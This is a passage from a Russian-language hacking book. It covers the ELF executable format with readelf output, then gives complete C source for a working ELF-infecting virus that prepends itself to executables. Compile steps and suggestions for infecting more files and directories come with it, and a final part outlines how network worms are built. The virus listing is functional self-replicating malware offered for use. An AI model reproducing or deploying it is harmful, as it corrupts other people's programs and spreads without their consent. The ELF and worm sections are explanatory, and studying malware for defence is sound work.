VISIT…

Глава 15

Формат ELF-файлов

Для программирования саморазмножающихся программ (в первую очередь вирусов) под Linux необходимо глубокое знание ELF-формата (Executable and Linkable Format), который является основным форматом исполняемых файлов в Linux. ELF-формат полностью описан в спецификации, которую можно найти в Интернете, например, по этому адресу: **http://x86.ddj.com/ftp/manuals/tools/elf.pdf** (это самая последняя версия спецификации 1.2 от 1995 г.).

Данная глава является сжатым изложением спецификации с исследованием устройства ELF-файла на конкретном примере.

15.1. Организация исполняемого ELF-файла

В спецификации на ELF-формат приведена следующая организация исполняемого ELF-файла (листинг 15.1).

Листинг 15.1. Организация исполняемого ELF-файла из спецификации

```
ELF header
Program header table
Segment 1
Segment 2
...
Section header table (optional)
```

Но более точно организацию исполняемого ELF-файла отражает листинг 15.2.

Листинг 15.2. Более точный вид организации исполняемого ELF-файла

```
ELF header
Program header table
Segment 1
Section 1
Section 2
.
.
Section n

Segment 2
Section 1
Section 2
.
.
Section n
.
.
.
Segment n
Section 1
Section 2
.
.
Section n
Section header table (optional)
Symbol table (optional)
String table (optional)
```

Таким образом, исполняемый файл состоит из ELF-заголовка (ELF header), таблицы заголовков программы (Program header table), одного или нескольких сегментов (Segment), необязательной таблицы заголовков секций (Section header table), необязательной таблицы символов (Symbol table) и необязательной таблицы строк (String table). Каждый сегмент может делиться на секции (Section).

15.2. Основные структуры ELF-файла

Все определения структур ELF-формата хранятся в заголовочном файле /usr/include/elf.h, куда программисту следует обращаться за более полной информацией.

ELF-заголовок имеет фиксированное расположение в файле, а остальные компоненты размещаются в соответствии с информацией, хранящейся в этом заголовке. Структура ELF-заголовка приведена в листинге 15.3.

Листинг 15.3. Структура ELF-заголовка

```
#define EI_NIDENT (16)

typedef struct
{
  unsigned char e_ident[EI_NIDENT]; /* Сигнатура (0x7f,'E','L','F')
                                       и другая информация */
  Elf32_Half e_type;      /* Тип файла */
  Elf32_Half e_machine;   /* Аппаратная архитектура, для которой создан
                             данный файл */
  Elf32_Word e_version;   /* Номер версии ELF-формата */
  Elf32_Addr e_entry;     /* Виртуальный адрес точки входа */
  Elf32_Off  e_phoff;     /* Смещение от начала файла Program header table */
  Elf32_Off  e_shoff;     /* Смещение от начала файла Section header table */
  Elf32_Word e_flags;     /* Специфичные флаги процессора
                             (не используется в архитектуре i386) */
  Elf32_Half e_ehsize;    /* Размер ELF-заголовка в байтах */
  Elf32_Half e_phentsize; /* Размер записи в Program header table
                             в байтах */
  Elf32_Half e_phnum;     /* Количество записей в Program header table */
  Elf32_Half e_shentsize; /* Размер записи в Section header table
                             в байтах */
  Elf32_Half e_shnum;     /* Количество записей в Section header table */
  Elf32_Half e_shstrndx;  /* Расположение сегмента, содержащего таблицу
                             строк */
} Elf32_Ehdr;
```

Таблица заголовков программы — это массив структур (записей в таблице), которые указывают, как создавать образ процесса из сегментов. Структура

одной записи приведена в листинге 15.4. Большинство сегментов копируются (отображаются) в память и представляют собой соответствующие сегменты процесса при его выполнении, например, сегменты кода или данных.

Листинг 15.4. Структура записи в таблице заголовков программы

```
typedef struct
{
  Elf32_Word p_type;   /* Тип сегмента */
  Elf32_Off  p_offset; /* Смещение сегмента от начала файла */
  Elf32_Addr p_vaddr;  /* Виртуальный адрес сегмента */
  Elf32_Addr p_paddr;  /* Физический адрес сегмента */
  Elf32_Word p_filesz; /* Размер сегмента в файле */
  Elf32_Word p_memsz;  /* Размер сегмента в памяти */
  Elf32_Word p_flags;  /* Флаги */
  Elf32_Word p_align;  /* Кратность выравнивания */
} Elf32_Phdr;
```

Необязательная таблица заголовков секций описывает секции, на которые делятся сегменты. Структура одной записи в таблице заголовков секций приведена в листинге 15.5. Имена секций с точкой в качестве префикса зарезервированы для системы. Приложениям рекомендуется создавать и использовать имена без префикса, для того чтобы избежать конфликтов с системными секциями. Вот некоторые типичные системные секции: .text (содержит код программы), .data (хранит инициализированные данные), .bss (неинициализированные данные), .init (процедуры инициализации), .finit (процедуры финализации), .plt (секция связок). Загрузчик операционной системы ничего не знает о секциях, игнорирует их атрибуты и просто загружает в память весь сегмент целиком.

Листинг 15.5. Структура записи в необязательной таблице заголовков

```
typedef struct
{
  Elf32_Word sh_name;      /* Имя секции (string tbl index) */
  Elf32_Word sh_type;      /* Тип секции */
  Elf32_Word sh_flags;     /* Флаги секции */
  Elf32_Addr sh_addr;      /* Виртуальный адрес начала секции */
  Elf32_Off  sh_offset;    /* Смещение секции от начала файла */
  Elf32_Word sh_size;      /* Размер секции в байтах */
```



```
  Elf32_Word sh_link;      /* Связь с другой секцией */
  Elf32_Word sh_info;      /* Дополнительная информация о секции */
  Elf32_Word sh_addralign; /* Кратность выравнивания */
  Elf32_Word sh_entsize;   /* Размер вложенного элемента, если есть */
} Elf32_Shdr;
```

Таблица символов и таблица строк вместе объединяются под понятием *символьная информация*. Таблица символов — это массив структур, определение одной такой структуры приведено в листинге 15.6. Записи таблицы символов имеют фиксированный размер. Если длина символов превышает восемь знаков, то тогда его имя хранится во второй таблице — таблице строк. Символьная информация не обязательна для работы файла и может быть удалена командой `strip`.

Листинг 15.6. Структура записи в таблице символов

```
typedef struct
{
  Elf32_Word st_name;      /* Имя символа (string tbl index) */
  Elf32_Addr st_value;     /* Значение символа (например, какой-нибудь
                              адрес) */
  Elf32_Word st_size;      /* Размер символа */
  unsigned char  st_info;  /* Тип символа и связи */
  unsigned char  st_other; /* Видимость символа */
  Elf32_Section  st_shndx; /* Индекс секции */
} Elf32_Sym;
```

15.3. Исследование внутреннего устройства ELF-файла с помощью утилиты readelf

С помощью стандартной системной утилиты readelf мы можем исследовать внутреннее устройство любого ELF-файла. Давайте для примера напишем простую программу (листинг 15.7) и исследуем ее устройство с помощью readelf.

Листинг 15.7. Простейшая программа для исследования

```
#include <stdio.h>

int main()
```

```
{

  printf("Hello, World!\n");

  return 0;
}
```

После компиляции программы запустим readelf с флагом -h:

```
# gcc hello.c -o hello
# ./hello
Hello, World!
# readelf -h ./hello
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8048360
  Start of program headers:          52 (bytes into file)
  Start of section headers:          10640 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         6
  Size of section headers:           40 (bytes)
  Number of section headers:         30
  Section header string table index: 27
```

Мы увидим ELF-заголовок нашего файла hello. Наиболее интересным значением в нем является `Entry point address` (точка входа в программу). Это адрес, с которого начинается выполнение программы. Как мы увидим далее, он находится в начале секции .text.

Параметр -l покажет нам таблицу заголовков программы:

```
# readelf -l ./hello
Elf file type is EXEC (Executable file)
Entry point 0x8048360
There are 6 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x000c0 0x000c0 R E 0x4
  INTERP         0x0000f4 0x080480f4 0x080480f4 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x004f7 0x004f7 R E 0x1000
  LOAD           0x0004f8 0x080494f8 0x080494f8 0x000e8 0x00100 RW  0x1000
  DYNAMIC        0x000540 0x08049540 0x08049540 0x000a0 0x000a0 RW  0x4
  NOTE           0x000108 0x08048108 0x08048108 0x00020 0x00020 R   0x4

 Section to Segment mapping:
  Segment Sections...
   00
   01     .interp
   02     .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version
.gnu.version_r .rel.got .rel.plt .init .plt .text .fini .rodata
   03     .data .eh_frame .ctors .dtors .got .dynamic .bss
   04     .dynamic
   05     .note.ABI-tag
```

Вы видите, что в нашей программе всего шесть сегментов. Утилита readelf перечислила еще и секции, на которые делится каждый сегмент.

Параметр -S покажет нам таблицу заголовков секций:

```
# readelf -S ./hello
There are 30 section headers, starting at offset 0x2990:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        080480f4 0000f4 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048108 000108 000020 00   A  0   0  4
  [ 3] .hash             HASH            08048128 000128 000034 04   A  4   0  4
  [ 4] .dynsym           DYNSYM          0804815c 00015c 000080 10   A  5   1  4
```

```
  [ 5] .dynstr           STRTAB          080481dc 0001dc 000095 00   A  0   0  1
  [ 6] .gnu.version      VERSYM          08048272 000272 000010 02   A  4   0  2
  [ 7] .gnu.version_r    VERNEED         08048284 000284 000030 00   A  5   1  4
  [ 8] .rel.got          REL             080482b4 0002b4 000008 08   A  4  13  4
  [ 9] .rel.plt          REL             080482bc 0002bc 000028 08   A  4   b  4
  [10] .init             PROGBITS        080482e4 0002e4 000018 00  AX  0   0  4
  [11] .plt              PROGBITS        080482fc 0002fc 000060 04  AX  0   0  4
  [12] .text             PROGBITS        08048360 000360 000160 00  AX  0   0 16
  [13] .fini             PROGBITS        080484c0 0004c0 00001e 00  AX  0   0  4
  [14] .rodata           PROGBITS        080484e0 0004e0 000017 00   A  0   0  4
  [15] .data             PROGBITS        080494f8 0004f8 000010 00  WA  0   0  4
  [16] .eh_frame         PROGBITS        08049508 000508 000004 00  WA  0   0  4
  [17] .ctors            PROGBITS        0804950c 00050c 000008 00  WA  0   0  4
  [18] .dtors            PROGBITS        08049514 000514 000008 00  WA  0   0  4
  [19] .got              PROGBITS        0804951c 00051c 000024 04  WA  0   0  4
  [20] .dynamic          DYNAMIC         08049540 000540 0000a0 08  WA  5   0  4
  [21] .sbss             PROGBITS        080495e0 0005e0 000000 00   W  0   0  1
  [22] .bss              NOBITS          080495e0 0005e0 000018 00  WA  0   0  4
  [23] .stab             PROGBITS        00000000 0005e0 0007a4 0c     24   0  4
  [24] .stabstr          STRTAB          00000000 000d84 001967 00      0   0  1
  [25] .comment          PROGBITS        00000000 0026eb 000144 00      0   0  1
  [26] .note             NOTE            00000000 00282f 000078 00      0   0  1
  [27] .shstrtab         STRTAB          00000000 0028a7 0000e9 00      0   0  1
  [28] .symtab           SYMTAB          00000000 002e40 0004e0 10     29  3b  4
  [29] .strtab           STRTAB          00000000 003320 00022c 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
```

Как видите, адрес точки входа в программу (Entry point) `0x08048360` является виртуальным адресом начала секции кода .text.

Параметр `-s` покажет нам таблицу символов:

```
# readelf -s ./hello
Symbol table '.dynsym' contains 8 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 0804830c   129 FUNC    WEAK   DEFAULT  UND
__register_frame_info@GLIBC_2.0 (2)
```



```
     2: 0804831c   172 FUNC    WEAK   DEFAULT  UND
__deregister_frame_info@GLIBC_2.0 (2)
     3: 0804832c   202 FUNC    GLOBAL DEFAULT  UND
__libc_start_main@GLIBC_2.0 (2)
     4: 0804833c    50 FUNC    GLOBAL DEFAULT  UND printf@GLIBC_2.0 (2)
     5: 0804834c   157 FUNC    WEAK   DEFAULT  UND
__cxa_finalize@GLIBC_2.1.3 (3)
     6: 080484e4     4 OBJECT  GLOBAL DEFAULT   14 _IO_stdin_used
     7: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__

Symbol table '.symtab' contains 78 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 080480f4     0 SECTION LOCAL  DEFAULT    1
     2: 08048108     0 SECTION LOCAL  DEFAULT    2
     3: 08048128     0 SECTION LOCAL  DEFAULT    3
     4: 0804815c     0 SECTION LOCAL  DEFAULT    4
     5: 080481dc     0 SECTION LOCAL  DEFAULT    5
     6: 08048272     0 SECTION LOCAL  DEFAULT    6
     7: 08048284     0 SECTION LOCAL  DEFAULT    7
     8: 080482b4     0 SECTION LOCAL  DEFAULT    8
     9: 080482bc     0 SECTION LOCAL  DEFAULT    9
    10: 080482e4     0 SECTION LOCAL  DEFAULT   10
    11: 080482fc     0 SECTION LOCAL  DEFAULT   11
    12: 08048360     0 SECTION LOCAL  DEFAULT   12
    13: 080484c0     0 SECTION LOCAL  DEFAULT   13
    14: 080484e0     0 SECTION LOCAL  DEFAULT   14
    15: 080494f8     0 SECTION LOCAL  DEFAULT   15
    16: 08049508     0 SECTION LOCAL  DEFAULT   16
    17: 0804950c     0 SECTION LOCAL  DEFAULT   17
    18: 08049514     0 SECTION LOCAL  DEFAULT   18
    19: 0804951c     0 SECTION LOCAL  DEFAULT   19
    20: 08049540     0 SECTION LOCAL  DEFAULT   20
    21: 080495e0     0 SECTION LOCAL  DEFAULT   21
    22: 080495e0     0 SECTION LOCAL  DEFAULT   22
    23: 00000000     0 SECTION LOCAL  DEFAULT   23
    24: 00000000     0 SECTION LOCAL  DEFAULT   24
    25: 00000000     0 SECTION LOCAL  DEFAULT   25
    26: 00000000     0 SECTION LOCAL  DEFAULT   26
    27: 00000000     0 SECTION LOCAL  DEFAULT   27
```

```
   28: 00000000     0 SECTION LOCAL  DEFAULT   28
   29: 00000000     0 SECTION LOCAL  DEFAULT   29
   30: 00000000     0 FILE    LOCAL  DEFAULT  ABS initfini.c
   31: 08048384     0 NOTYPE  LOCAL  DEFAULT   12 gcc2_compiled.
   32: 08048384     0 FUNC    LOCAL  DEFAULT   12 call_gmon_start
   33: 00000000     0 FILE    LOCAL  DEFAULT  ABS init.c
   34: 00000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c
   35: 080483b0     0 NOTYPE  LOCAL  DEFAULT   12 gcc2_compiled.
   36: 08049500     0 OBJECT  LOCAL  DEFAULT   15 p.0
   37: 08049514     0 OBJECT  LOCAL  DEFAULT   18 __DTOR_LIST__
   38: 08049504     0 OBJECT  LOCAL  DEFAULT   15 completed.1
   39: 080483b0     0 FUNC    LOCAL  DEFAULT   12 __do_global_dtors_aux
   40: 08049508     0 OBJECT  LOCAL  DEFAULT   16 __EH_FRAME_BEGIN__
   41: 08048410     0 FUNC    LOCAL  DEFAULT   12 fini_dummy
   42: 080495e0    24 OBJECT  LOCAL  DEFAULT   22 object.2
   43: 08048420     0 FUNC    LOCAL  DEFAULT   12 frame_dummy
   44: 08048450     0 FUNC    LOCAL  DEFAULT   12 init_dummy
   45: 08049508     0 OBJECT  LOCAL  DEFAULT   15 force_to_data
   46: 0804950c     0 OBJECT  LOCAL  DEFAULT   17 __CTOR_LIST__
   47: 00000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c
   48: 08048480     0 NOTYPE  LOCAL  DEFAULT   12 gcc2_compiled.
   49: 08048480     0 FUNC    LOCAL  DEFAULT   12 __do_global_ctors_aux
   50: 08049510     0 OBJECT  LOCAL  DEFAULT   17 __CTOR_END__
   51: 080484b0     0 FUNC    LOCAL  DEFAULT   12 init_dummy
   52: 08049508     0 OBJECT  LOCAL  DEFAULT   15 force_to_data
   53: 08049518     0 OBJECT  LOCAL  DEFAULT   18 __DTOR_END__
   54: 08049508     0 OBJECT  LOCAL  DEFAULT   16 __FRAME_END__
   55: 00000000     0 FILE    LOCAL  DEFAULT  ABS initfini.c
   56: 080484c0     0 NOTYPE  LOCAL  DEFAULT   12 gcc2_compiled.
   57: 00000000     0 FILE    LOCAL  DEFAULT  ABS hello.c
   58: 08048460     0 NOTYPE  LOCAL  DEFAULT   12 gcc2_compiled.
   59: 08049540     0 OBJECT  GLOBAL DEFAULT   20 _DYNAMIC
   60: 0804830c   129 FUNC    WEAK   DEFAULT  UND
__register_frame_info@@GLIBC_2.0
   61: 080484e0     4 NOTYPE  GLOBAL DEFAULT   14 _fp_hw
   62: 080482e4     0 FUNC    GLOBAL DEFAULT   10 _init
   63: 0804831c   172 FUNC    WEAK   DEFAULT  UND
__deregister_frame_info@@GLIBC_2.0
   64: 08048360     0 NOTYPE  GLOBAL DEFAULT   12 _start
   65: 080495e0     0 OBJECT  GLOBAL DEFAULT  ABS __bss_start
```



```
   66: 08048460    29 FUNC    GLOBAL DEFAULT   12 main
   67: 0804832c   202 FUNC    GLOBAL DEFAULT  UND
__libc_start_main@@GLIBC_2.0
   68: 080494f8     0 NOTYPE  WEAK   DEFAULT   15 data_start
   69: 0804833c    50 FUNC    GLOBAL DEFAULT  UND printf@@GLIBC_2.0
   70: 080484c0     0 FUNC    GLOBAL DEFAULT   13 _fini
   71: 0804834c   157 FUNC    WEAK   DEFAULT  UND
__cxa_finalize@@GLIBC_2.1.3
   72: 080495e0     0 OBJECT  GLOBAL DEFAULT  ABS _edata
   73: 0804951c     0 OBJECT  GLOBAL DEFAULT   19 _GLOBAL_OFFSET_TABLE_
   74: 080495f8     0 OBJECT  GLOBAL DEFAULT  ABS _end
   75: 080484e4     4 OBJECT  GLOBAL DEFAULT   14 _IO_stdin_used
   76: 080494f8     0 NOTYPE  GLOBAL DEFAULT   15 __data_start
   77: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
```

Символами являются всевозможные названия функций, файлов и прочих объектов. Кроме того, видно, что записи таблицы хранятся в двух секциях `.dynsym` и `.symtab`.

Попробуем удалить с помощью утилиты strip символьную информацию из файла hello и посмотрим вновь содержимое таблицы символов:

```
# strip ./hello
# readelf -s ./hello
Symbol table '.dynsym' contains 8 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 0804830c   129 FUNC    WEAK   DEFAULT  UND
__register_frame_info@GLIBC_2.0 (2)
     2: 0804831c   172 FUNC    WEAK   DEFAULT  UND
__deregister_frame_info@GLIBC_2.0 (2)
     3: 0804832c   202 FUNC    GLOBAL DEFAULT  UND
__libc_start_main@GLIBC_2.0 (2)
     4: 0804833c    50 FUNC    GLOBAL DEFAULT  UND printf@GLIBC_2.0 (2)
     5: 0804834c   157 FUNC    WEAK   DEFAULT  UND
__cxa_finalize@GLIBC_2.1.3 (3)
     6: 080484e4     4 OBJECT  GLOBAL DEFAULT   14 _IO_stdin_used
     7: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
```

Секция `.symtab` была полностью удалена, а секция `.dynsym` осталась. Дело в том, что в этой секции хранится важная символьная информация для динамического связывания с системными библиотеками, поэтому strip ее не затрагивает, т. к. без этой секции невозможна нормальная работа программы.

Глава 16

Вирусы

Вирусов под UNIX (и под Linux в частности) создано не мало, но ни один из них не получил широкой известности. Причина в том, что UNIX-подобные системы имеют грамотную систему разграничения прав доступа, поэтому вирусу, для того чтобы заразить всю систему, нужно иметь права системного администратора (root в Linux).

Однако если обнаружится серьезная локальная уязвимость в системе, то заразить всю систему возможно и без прав администратора. Если вирус (ELF-инфектор) совместить с эксплоитом, который бы использовал такую локальную уязвимость, то получится вирус, способный заражать все файлы в системе вне зависимости от ее ограничений. Поэтому хакеры пишут вирусы в надежде, что рано или поздно появится уязвимость, присущая сразу многим Linux-системам.

Но даже в этом случае вызвать серьезную эпидемию почти невозможно, так как для распространения вируса нужно, чтобы большое число людей переписало зараженный файл к себе на компьютер и запустило его. Времена, когда люди обменивались дискетами с интересными программами, давно ушли в прошлое. Сейчас администраторы UNIX-систем в основном скачивают программы из надежных интернет-источников. Поэтому у вирусописателей мало шансов, что их детище получит распространение, если только не удастся заразить какой-нибудь известный интернет-архив с программами. Если же к вирусу добавить механизм для самостоятельного размножения через сеть, то это уже получится не вирус, а червь (*см. гл. 17*).

Большинство вирусов пишутся под исполняемые ELF-файлы, но в связи с большой популярностью сценариев (Perl, sh) в UNIX-системах существуют также скрипт-вирусы, написанные на одном из языков сценариев и способные заражать только системы, на которых установлены соответствующие интерпретаторы.

Так как данная книга ориентирована на язык Си, то мы будем рассматривать только ELF-инфектор, написанный на Си, хотя ничто не мешает написать ELF-инфектор на языке ассемблера.

В листинге 16.1 приведен исходный код простейшего и наиболее универсального ELF-инфектора (его можно также взять на сопроводительном компакт-диске в директории \PART IV\Chapter 16\). Этот вирус просто ищет жертву (исполняемый ELF-файл) в текущем каталоге и дописывает свое тело в начало жертвы. Когда пользователь запустит зараженный файл на выполнение, то вирус, чтобы не вызывать подозрение у пользователя, временно отделит свое тело от тела жертвы и создаст временный файл, в который запишет тело жертвы и запустит его на выполнение. После этого вирус удалит временный файл и произведет поиск очередной жертвы в текущем каталоге и допишет свое тело в ее начало. Так осуществляется размножение.

Чтобы не производить повторное заражение, вирус сначала осуществляет проверку, для чего ищет в конце файла-жертвы метку "Sklyaroff Ivan", которую он приписывает каждой жертве после инфицирования. Если такая метка уже есть, то вирус ищет другую жертву.

Кроме того, перед заражением вирус проверяет, является ли жертва исполняемым ELF-файлом. Для этого ищется сигнатура "0x7f,'E','L','F'" в начале файла, а также проверяется поле типа файла (`e_type`) в ELF-заголовке жертвы (наличие константы `ET_EXEC` в этом поле говорит о том, что файл исполняемый). Если не сделать этих проверок, то вирус будет дописывать себя к сценариям, текстовым и прочим файлам, выдавая себя, что называется, "с головой".

Наш вирус за один запуск заражает только один файл в текущем каталоге. Но вы можете установить большее число заражаемых жертв с помощью константы `MAX_VICTIMS`. Разумеется, можно добавить еще возможность заражения не только в текущем каталоге, но и во всех доступных каталогах.

Компиляция вируса осуществляется обычным образом:

```
# gcc elfinfector.c -o elfinfector
```

Для уменьшения размера скомпилированный вирус рекомендуется обработать утилитой strip:

```
# strip elfinfector
```

Одна важная деталь: в исходном коде вируса вы должны присвоить константе `VIRUS_LENGTH` точное значение размера исполняемого файла, иначе он будет работать неправильно. Для этого вам, возможно, придется несколько раз его компилировать и подставлять значения. Значение "5296" — это размер скомпилированного вируса в моей системе (с учетом обработки утилитой strip), но в вашей системе он может иметь другой размер.

Разумеется, кроме описываемого существуют более сложные методы заражения:

- вирус может создать дополнительную секцию (или несколько дополнительных секций) в начале, середине или конце файла-жертвы и поместить в нее свое тело. Достигается это путем модификации заголовков ELF-файла. Вирус должен также изменить точку входа в программу (e_entry) на начало своей секции. После того как вирус выполнит свои действия, он передаст управление программе-жертве;
- вирус может поместить свое тело в секцию данных жертвы (.data), если конечно в ней хватает места (если не хватает, то червь может увеличить размер секции), и затем изменить точку входа в программу (e_entry) на начало своего кода в секции данных. После того как вирус выполнит свои действия, он передаст управление программе-жертве. Так как секция .data, как правило, не имеет разрешения на исполнение, то вирус должен устанавливать такое разрешение;
- по аналогии с секцией данных вирус может внедриться в секцию кода (.text) или другую подходящую секцию.

В качестве разминки для мозга попробуйте реализовать один или все перечисленные методы. Настоятельно советую ознакомиться еще со следующими материалами:

1. "The ELF Virus Writing HOWTO" от Alexander Bartolich (**http://vx.netlux.org/lib/vab00.html**).
2. "Unix viruses" от Silvio Cesare (**http://vx.netlux.org/lib/vsc02.html**).

Листинг 16.1. Исходный код ELF-инфектора (elfinfector.c)

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <dirent.h>
#include <elf.h>

#define VIRUS_LENGTH 5296 /* здесь укажите правильную длину
                             скомпилированного вируса */
#define TMP_FILE "/tmp/body.tmp"
#define MAX_VICTIMS 1 /* максимальное число заражаемых файлов за 1 раз */
#define INFECTED "Ivan Sklyaroff" /* метка зараженного файла */

char *body, *newbody, *virbody;
```



```
int fd, len, icount;
struct stat status;
Elf32_Ehdr ehdr; // для доступа к ELF-заголовку

infect(char *victim)
{
  char belf[4] = {'\x7f','E','L','F'};
  char buf[64];

  /* считываем ELF-заголовок жертвы */
  fd = open(victim, O_RDWR , status.st_mode);
  read(fd, &ehdr,sizeof(ehdr));

  /* проверяем является ли жертва исполняемым ELF-файлом */
  if (strncmp(ehdr.e_ident, belf, 4) != 0)
    return; // выходим из функции, если жертва не ELF-файл
  if (ehdr.e_type != ET_EXEC)
    return; // выходим из функции, если жертва не исполняемый файл

  /* читаем тело жертвы и сохраняем его в буфер */
  fstat(fd, &status);
  lseek(fd, 0, SEEK_SET);
  newbody = malloc(status.st_size);
  read(fd, newbody, status.st_size);

  /* считываем в конце тела жертвы метку зараженного файла */
  lseek(fd, status.st_size - sizeof(INFECTED), SEEK_SET);

  read(fd, &buf, sizeof(INFECTED));

  /* если метка присутствует, то следовательно файл уже заражен,
  поэтому выходим из функции */
  if (strncmp(buf, INFECTED, sizeof(INFECTED)) == 0)
    return;

  /* записываем тело вируса в начало файла */
  lseek(fd, 0, SEEK_SET);
  write(fd, virbody, VIRUS_LENGTH);
  /* после записываем тело жертвы */
```

```
  write(fd, newbody, status.st_size);
  /* в конце вставляем метку зараженного файла */
  write(fd, INFECTED, sizeof(INFECTED));
  close(fd); // закрываем зараженный файл

  icount++; // увеличиваем счетчик зараженных файлов

  printf("%s infected!\n", victim);
}

find_victim()
{
  DIR *dir_ptr;
  struct dirent *d;
  char dir[100];

  getcwd(dir, 100); // получаем текущую директорию
  dir_ptr = opendir(dir); // открываем текущую директорию

  /* читаем пока есть элементы (файлы) */
  while (d = readdir(dir_ptr))
  {
    if (d->d_ino != 0) {
      if (icount < MAX_VICTIMS) // проверяем счетчик заражений
        infect(d->d_name); // вызываем функцию заражения
    }
  }
}

int main(int argc, char *argv[], char **envp)
{
  /* открываем сами себя и вычисляем длину */
  fd = open(argv[0], O_RDONLY);
  fstat(fd, &status);
  lseek(fd, 0, 0);

  /* читаем свое тело и сохраняем его в буфер */
  virbody = malloc(VIRUS_LENGTH);
  read(fd, virbody, VIRUS_LENGTH);

  /* проверяем свою длину */
```



```
  if (status.st_size != VIRUS_LENGTH) {
    /* запущен зараженный файл, поэтому
    отделяем тело оригинальной программы от вируса */
    len = status.st_size - VIRUS_LENGTH;
    lseek(fd, VIRUS_LENGTH, 0);
    body = malloc(len);
    read(fd, body, len);
    close(fd);

    /* сохраняем тело оригинальной программы в промежуточный файл */
    fd = open(TMP_FILE, O_RDWR|O_CREAT|O_TRUNC, status.st_mode);
    write(fd, body, len);
    close(fd);
    /* запускаем оригинальную программу на выполнение */
    if (fork() == 0) wait();
    else execve(TMP_FILE, argv, envp);
    /* удаляем промежуточный файл */
    unlink(TMP_FILE);
  }

  /* поиск жертвы и ее заражение */
  find_victim();

  /* выходим из вируса */
  close(fd);
  exit(0);
}
```

Глава 17

Черви

Черви так же как и вирусы являются саморазмножающимися компьютерными программами. Главное отличие червей от вирусов в том, что они распространяются по сети и являются самостоятельными программами, т. е. червям не нужно прикрепляться к исполняемым файлам для размножения.

Первоначально я задумывал для этой главы написать "учебного червя" и на его примере рассмотреть все особенности программирования программ такого рода. Но по ряду причин отказался от этой затеи. Но вас это не должно сильно огорчить (вы же не собираетесь писать реальных интернет-червей, правда?), червь совмещает в себе технологии, которые уже подробно рассматривались в этой книге: сетевые технологии, технологии эксплоитов и в некоторых случаях вирусные технологии. Поэтому, на мой взгляд, достаточно рассказать, как все эти технологии взаимодействуют, а также общие принципы построения червя, чтобы вы поняли, как он программируется.

Но все равно на компакт-диске в директории \PART IV\Chapter 17\ вы найдете полный исходный код классического червя Морриса (в настоящее время он совершенно не опасен). Это был самый первый червь, который стал известен всему миру. Создал его Роберт Моррис (Robert Morris) младший, который был в то время студентом Корнельского университета. Распространение червя началось 2 ноября 1988 г., после чего он поразил тысячи машин, подключенных к сети ARPANET, в числе которых были компьютеры исследовательских институтов, университетов, военных ведомств и даже Пентагона. Червь поражал только UNIX-системы. Ущерб от червя Морриса был оценен примерно в 100 млн долларов.

Вообще, если не учитывать многочисленные модификации, то на момент написания книги известно лишь небольшое число UNIX-червей (названия перечислены в порядке появления после червя Морриса): Ramen, Lion, Cheese, Sadmind, Adore, Slapper, Lupper. Подробности по каждому из них смотрите

в Интернете, например, на сайте какой-нибудь компании по производству антивирусов.

Стандартно в черве выделяют три части:

- голова, иногда называемая также *отпирающим эксплоитным кодом* (enabling exploit code);
- тело;
- полезная нагрузка (payload).

Первая и последняя часть в черве могут отсутствовать.

Полезная нагрузка предназначена для нанесения какого-либо вреда, например, для удаления каких-либо файлов, организации DoS-атаки на некоторый узел с зараженной машины, или просто для установки бекдора, чтобы осуществлять удаленный контроль над компьютером-жертвой. Червь Морриса не имел полезной нагрузки, т. е. в нем не было никаких встроенных деструктивных функций.

Голова червя обычно представляет собой эксплоит, который эксплуатирует определенную ошибку в программном обеспечении (переполнение буфера, ошибку форматной строки и т. п.), захватывает управление удаленной машиной, устанавливает TCP/IP-соединение и загружает через сеть тело червя с полезной нагрузкой (если она имеется).

Существуют черви, которые сразу полностью загружаются на удаленную машину, т. е. в нем все части объединены в одно тело. Понятно, что реализация и функционирование таких червей осуществляются проще. Но необходимость деления на голову и подгружаемое тело вызвана тем, что размер переполняемых буферов часто не превышает нескольких десятков байтов, которых достаточно лишь для небольшого кода загрузчика.

Часто черви имеют не одну, а сразу множество голов. Например, Ramen имел три головы. Если он определял, что на компьютере-жертве запущена Red Hat 6.2, то одна голова эксплуатировала демон wu-ftpd, а другая rpc.statd. Если была запущена Red Hat 7.0, то в бой вступала только одна третья голова, которая эксплуатировала LPRng-сервер (lpd). Червь Морриса имел две головы: одна эксплуатировала демон fingerd, а вторая — sendmail. Кроме того, червь Морриса имел третью голову, которая, собственно говоря, не являлась эксплоитом, а просто осуществляла подбор паролей (bruteforce) и подключение к службам rsh/rexec.

Загруженное тело отвечает за дальнейшее распространение уже с инфицированной системы, а также запускает на выполнение полезную нагрузку. Кроме того, червь может прописать себя где-либо в системе для автоматического запуска, но может этого и не делать.

